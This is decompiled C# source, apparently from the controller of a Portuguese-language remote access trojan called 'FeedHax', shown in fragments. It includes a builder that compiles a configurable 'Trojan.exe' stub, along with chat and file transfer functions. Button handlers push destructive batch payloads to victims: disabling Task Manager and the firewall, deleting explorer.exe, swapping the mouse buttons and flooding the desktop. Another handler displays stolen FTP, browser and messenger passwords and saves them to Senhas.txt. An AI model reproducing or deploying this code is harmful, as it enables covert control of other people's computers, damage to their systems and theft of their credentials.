// Token: 0x060000EE RID: 238 RVA: 0x001E10A8 File Offset: 0x001DF4A8 private void Timer1_Tick(object sender, EventArgs e) { try { this.Lv1.Items[2].SubItems[1].Text = Class6.smethod_17((long)(this.ProgressBar1.Value - this.os)); this.os = this.ProgressBar1.Value; this.Lv1.Items[3].SubItems[1].Text = Class6.smethod_17((long)this.ProgressBar1.Value); } catch (Exception ex) { } }
// Token: 0x06000410 RID: 1040 RVA: 0x001CD380 File Offset: 0x001CB780 public static Array smethod_9(byte[] byte_0, string string_0) { List <byte[]> list = new List <byte[]>(); int num = Array.IndexOf <byte>(byte_0, (byte)Strings.Asc(string_0[0])); bool flag; for (;;) { flag = !(num > -1 & num + string_0.Length <= byte_0.Length); if (flag) { break; } byte[] array = new byte[string_0.Length - 1 + 1 - 1 + 1]; int num2 = 0; int num3 = num + string_0.Length - 1; for (int i = num; i <= num3; i++) { array[num2] = byte_0[i]; num2++; } flag = (Operators.CompareString(Class6.smethod_12(ref array), string_0, false) == 0); if (flag) { MemoryStream memoryStream = new MemoryStream(); memoryStream.Write(byte_0, 0, num); list.Add(memoryStream.ToArray()); memoryStream.Dispose(); memoryStream = new MemoryStream(); memoryStream.Write(byte_0, num + string_0.Length, byte_0.Length - (num + string_0.Length)); list.Add(memoryStream.ToArray()); memoryStream.Dispose(); break; } num = Array.IndexOf <byte>(byte_0, (byte)Strings.Asc(string_0[0]), num + 1); } flag = (list.Count == 0); if (flag) { list.Add(byte_0); } return(list.ToArray()); }
// Token: 0x060000D5 RID: 213 RVA: 0x001E00D0 File Offset: 0x001DE4D0 private void Chat_Load(object sender, EventArgs e) { this.Text = Conversions.ToString(RuntimeHelpers.GetObjectValue(Class7.smethod_1(this.osk.L))); this.Show(); string left = Interaction.InputBox("Digite Seu Apelido", "Chat", this.hk, -1, -1); bool flag = Operators.CompareString(left, string.Empty, false) == 0; if (flag) { this.sk.CN = false; } else { this.hk = left; this.sk.Send("~" + Class7.string_1 + Class6.smethod_14(ref this.hk)); } this.vmethod_8.Enabled = true; this.T2.Select(); this.T2.Focus(); }
// Token: 0x060002B9 RID: 697 RVA: 0x001F25D4 File Offset: 0x001F09D4 private void ToolStripMenuItem1_Click(object sender, EventArgs e) { string[] array = new string[9]; array[0] = "Ex"; array[1] = Class7.string_1; array[2] = "fm"; array[3] = Class7.string_1; array[4] = "wr"; array[5] = Class7.string_1; array[6] = Class6.smethod_14(ref this.FN); array[7] = Class7.string_1; TextBox textBox = this.TextBox1; string text = textBox.Text; textBox.Text = text; array[8] = Class6.smethod_14(ref text); this.SK.Send(string.Concat(array)); this.ToolStripMenuItem1.Enabled = false; }
// Token: 0x0600009F RID: 159 RVA: 0x001DDE10 File Offset: 0x001DC210 private void Builder_Load(object sender, EventArgs e) { this.dir.SelectedIndex = 0; this.host.Text = Class6.smethod_2("host", this.host.Text); this.port.Value = Conversions.ToDecimal(Class6.smethod_2("p", Conversions.ToString(this.port.Value))); this.exe.Text = Class6.smethod_2("exe", this.exe.Text); this.dir.SelectedIndex = Conversions.ToInteger(Class6.smethod_2("dir", Conversions.ToString(this.dir.SelectedIndex))); this.VN.Text = Class6.smethod_2("vn", this.VN.Text); this.bsod.Checked = Conversions.ToBoolean(Class6.smethod_2("bsod", this.bsod.Checked.ToString())); this.Idr.Checked = Conversions.ToBoolean(Class6.smethod_2("Idr", this.Idr.Checked.ToString())); this.Isu.Checked = Conversions.ToBoolean(Class6.smethod_2("Isu", this.Isu.Checked.ToString())); this.Isf.Checked = Conversions.ToBoolean(Class6.smethod_2("Isf", this.Isf.Checked.ToString())); this.klen.Value = Conversions.ToDecimal(Class6.smethod_2("klen", this.klen.Value.ToString())); this.string_0 = Class6.smethod_2("ico", string.Empty); bool flag = !File.Exists(this.string_0); if (flag) { this.string_0 = string.Empty; } flag = (Convert.ToDouble(this.port.Value) != Conversions.ToDouble(Class6.smethod_2("port", Conversions.ToString(this.port.Value)))); if (flag) { this.port.Value = Conversions.ToDecimal(Class6.smethod_2("port", Conversions.ToString(this.port.Value))); } try { flag = (Operators.CompareString(this.string_0, string.Empty, false) != 0); if (flag) { this.PictureBox1.Image = new Icon(Class6.smethod_2("ico", string.Empty)).ToBitmap(); this.CheckBox1.Checked = true; } } catch (Exception ex) { this.string_0 = string.Empty; } this.VN.Text = "Lammer"; this.exe.Text = "Trojan.exe"; }
// Token: 0x060000D7 RID: 215 RVA: 0x001E0318 File Offset: 0x001DE718 private void Button1_Click(object sender, EventArgs e) { bool flag = Operators.CompareString(this.T2.Text, string.Empty, false) != 0; if (flag) { lock (this) { this.T1.SelectionStart = this.T1.TextLength; this.T1.SelectionFont = new Font(this.T1.Font, FontStyle.Bold); this.T1.AppendText("[" + this.hk + "] "); this.T1.SelectionFont = this.T1.Font; this.T1.AppendText(this.T2.Text + "\r\n"); this.T1.SelectionStart = this.T1.TextLength; this.T1.ScrollToCaret(); TextBox t = this.T2; string text = t.Text; t.Text = text; this.sk.Send("!" + Class7.string_1 + Class6.smethod_14(ref text)); this.T2.Text = string.Empty; } } }
// Token: 0x0600039C RID: 924 RVA: 0x001FA780 File Offset: 0x001F8B80 private void Button10_Click(object sender, EventArgs e) { this.Code = "@echo off\r\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_SZ /d 1 /f > nul"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000398 RID: 920 RVA: 0x001FA3F0 File Offset: 0x001F87F0 private void Button14_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD %userprofile%\\Desktop\r\nSET NumeroDePastas=30000\r\nSET /a Nome=Vírus\r\n:3\r\nIF EXIST %NumeroDePastas% GOTO 4\r\nSET /a Nome=%Nome%+1\r\nMD %Nome%\r\nGOTO 3\r\n:4\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A1 RID: 929 RVA: 0x001FABF4 File Offset: 0x001F8FF4 private void Button19_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\nnet stop MpsSvc\r\ntaskkill /f /t /im FirewallControlPanel.exe\r\nif %errorlevel%==1 tskill FirewallControlPanel\r\nnetsh firewall set opmode mode=disable"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x0600039B RID: 923 RVA: 0x001FA69C File Offset: 0x001F8A9C private void Button11_Click(object sender, EventArgs e) { this.Code = "@echo off\r\n\r\ncls\r\n@echo off\r\nrundll32 USER32.DLL,SwapMouseButton"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000355 RID: 853 RVA: 0x001F78D4 File Offset: 0x001F5CD4 private void p_Paint(object sender, PaintEventArgs e) { string text = Conversions.ToString(this.int_0) + " FPS\r\n" + Class6.smethod_17(this.pkt); Size size = TextRenderer.MeasureText(text, new Font(this.Font, FontStyle.Bold)); bool flag = !(this.point_2.X < size.Width & this.point_2.Y < size.Height); if (flag) { Rectangle rect = new Rectangle(0, 0, size.Width, size.Height); e.Graphics.FillRectangle(new Pen(Color.FromArgb(100, 1, 1, 1)).Brush, rect); Brush brush = Brushes.White; flag = (this.int_0 > 3); if (flag) { brush = Brushes.White; } flag = (this.int_0 > 6); if (flag) { brush = Brushes.Lime; } e.Graphics.DrawString(text, new Font(this.Font, FontStyle.Bold), brush, 0f, 0f); } }
// Token: 0x06000394 RID: 916 RVA: 0x001FA060 File Offset: 0x001F8460 private void Button4_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD\\\r\nCD WINDOWS\r\nDEL /s /q explorer.exe\r\ncls\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A3 RID: 931 RVA: 0x001FADBC File Offset: 0x001F91BC private void Button17_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\n:loop\r\n%userprofile%/desktop \a\r\necho msgbox flood >%random%.vbs&%random%.vbs\r\ngoto loop"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060000ED RID: 237 RVA: 0x001E0EA0 File Offset: 0x001DF2A0 private void DW_Load(object sender, EventArgs e) { this.Text = Conversions.ToString(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Operators.ConcatenateObject(RuntimeHelpers.GetObjectValue(Class7.smethod_1(this.osk.L)), " - ")), Class6.smethod_16(this.FN)))); this.ProgressBar1.Maximum = this.SZ; this.folder = this.osk.Folder + "Baixados\\"; bool flag = !Directory.Exists(this.folder); if (flag) { Directory.CreateDirectory(this.folder); } this.folder += new FileInfo(Class6.smethod_16(this.FN)).Name; this.Lv1.Items[0].SubItems[0].Text = new FileInfo(Class6.smethod_16(this.FN)).Name; this.Lv1.Items[1].SubItems[0].Text = Class6.smethod_17((long)this.SZ); do { this.tmp = Interaction.Environ("Temporarios") + "\\njfm_" + Class6.smethod_6(10); }while (File.Exists(this.tmp)); this.FS = new FileStream(this.tmp, FileMode.Append); this.Lv1.Items[2].SubItems[0].Text = Class6.smethod_17((long)(this.ProgressBar1.Value - this.os)); this.os = this.ProgressBar1.Value; this.Lv1.Items[3].SubItems[0].Text = Class6.smethod_17((long)this.ProgressBar1.Value); this.Lv1.method_3(); this.Timer1.Enabled = true; }
// Token: 0x060000A0 RID: 160 RVA: 0x001DE118 File Offset: 0x001DC518 private void Button1_Click(object sender, EventArgs e) { SaveFileDialog saveFileDialog = new SaveFileDialog { Filter = "|*.exe", FileName = this.VN.Text }; bool flag = saveFileDialog.ShowDialog() == DialogResult.OK; if (flag) { bool flag2 = !this.CheckBox1.Checked; if (flag2) { this.string_0 = null; } flag2 = File.Exists(saveFileDialog.FileName); if (flag2) { File.Delete(saveFileDialog.FileName); } string text = File.ReadAllText(Application.StartupPath + "\\Stub.il"); string newValue = Class6.smethod_4(string.Concat(new string[] { this.VN.Text, this.host.Text, Conversions.ToString(this.port.Value), this.exe.Text, this.dir.Text, this.bsod.Checked.ToString(), this.Idr.Checked.ToString(), this.Isu.Checked.ToString(), this.Isf.Checked.ToString() })); TextBox vn = this.VN; string text2 = vn.Text; vn.Text = text2; text = text.Replace("[VN]", Class6.smethod_14(ref text2)).Replace("[H]", this.host.Text).Replace("[P]", Conversions.ToString(this.port.Value)).Replace("[EXE]", this.exe.Text).Replace("[DR]", this.dir.Text.Replace("%", string.Empty)).Replace("[BD]", this.bsod.Checked.ToString()).Replace("[RG]", newValue).Replace("[Idr]", this.Idr.Checked.ToString()).Replace("[Isu]", this.Isu.Checked.ToString()).Replace("[Isf]", this.Isf.Checked.ToString()).Replace("[klen]", this.klen.Value.ToString()); File.WriteAllText(Interaction.Environ("temp") + "\\stub.il", text); ProcessStartInfo startInfo = new ProcessStartInfo { FileName = Interaction.Environ("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, Arguments = string.Concat(new string[] { "/alignment=512 /QUIET \"", Interaction.Environ("temp"), "\\stub.il\" /output:\"", saveFileDialog.FileName, "\"" }) }; Process.Start(startInfo).WaitForExit(); flag2 = (this.string_0 != null && File.Exists(this.string_0)); if (flag2) { IconN.InjectIcon(saveFileDialog.FileName, this.string_0); } IntPtr intptr_ = GClass2.BeginUpdateResource(saveFileDialog.FileName, false); byte[] array = File.ReadAllBytes(Application.StartupPath + "\\Stub.manifest"); GClass2.UpdateResource(intptr_, (IntPtr)24, (IntPtr)1, 0, array, array.Length); GClass2.EndUpdateResource(intptr_, false); Class6.smethod_3("host", this.host.Text); Class6.smethod_3("p", Conversions.ToString(this.port.Value)); Class6.smethod_3("exe", this.exe.Text); Class6.smethod_3("dir", Conversions.ToString(this.dir.SelectedIndex)); Class6.smethod_3("vn", this.VN.Text); Class6.smethod_3("bsod", this.bsod.Checked.ToString()); Class6.smethod_3("ico", this.string_0); Class6.smethod_3("Idr", this.Idr.Checked.ToString()); Class6.smethod_3("Isu", this.Isu.Checked.ToString()); Class6.smethod_3("Isf", this.Isf.Checked.ToString()); Class6.smethod_3("klen", this.klen.Value.ToString()); Interaction.MsgBox("Server Criado Com Sucesso! \r\n" + saveFileDialog.FileName, MsgBoxStyle.Information, "FeedHax"); this.Close(); } }
// Token: 0x060002FE RID: 766 RVA: 0x001F4838 File Offset: 0x001F2C38 public void XD(ref Client c, ref string S) { string[] array = Strings.Split(S, " ", -1, CompareMethod.Binary); int num = -1; bool flag = !Directory.Exists(c.Folder); if (flag) { Directory.CreateDirectory(c.Folder); } string[] array2 = new string[] { "FileZilla", "No-ip", "DynDns", "Paltalk", "FireFox", "Chrome", "MSN", "Yahoo", "Opera", "Internet Explorer", "ooVoo", "DUC v3", "Skype" }; string text = string.Empty; foreach (string text2 in array) { try { flag = (text2.Length > 0); if (flag) { bool flag2 = Operators.CompareString(text2, "*", false) == 0; if (flag2) { num++; } else { flag2 = !text2.Contains(":"); if (flag2) { text2 = Class6.smethod_16(text2); } string[] array4 = Strings.Split(text2, ":", -1, CompareMethod.Binary); flag2 = (array4.Length > 3); if (flag2) { string expression = text2; string find = array4[0] + ":" + array4[1]; string text3 = array4[0] + ":" + array4[1]; array4 = Strings.Split(Strings.Replace(expression, find, Class6.smethod_14(ref text3), 1, -1, CompareMethod.Binary), ":", -1, CompareMethod.Binary); } ListViewItem listViewItem = new ListViewItem(); listViewItem = this.L1.Items.Add(Class6.smethod_16(array4[1]), num); listViewItem.SubItems.Add(Class6.smethod_16(array4[2])); listViewItem.SubItems.Add(Class6.smethod_16(array4[0])); listViewItem.SubItems.Add(array2[num]); NewLateBinding.LateCall(listViewItem.SubItems, null, "Add", new object[] { RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Class7.smethod_1(c.L)))) }, null, null, null, true); text = text + "Usuario : " + listViewItem.Text + "\r\n"; text = text + "Senha : " + listViewItem.SubItems[1].Text + "\r\n"; text = text + "Site : " + listViewItem.SubItems[2].Text + "\r\n\r\n"; } } } catch (Exception ex) { } } try { File.WriteAllText(c.Folder + "Senhas.txt", text); } catch (Exception ex2) { } this.FxCOLM(this.L1); this.ToolStripMenuItem1.Text = "Senhas( X )".Replace("X", Conversions.ToString(this.L1.Items.Count)); }
// Token: 0x0600040B RID: 1035 RVA: 0x001CD140 File Offset: 0x001CB540 public static string smethod_4(string string_0) { return(Class6.smethod_5(Class6.smethod_11(ref string_0))); }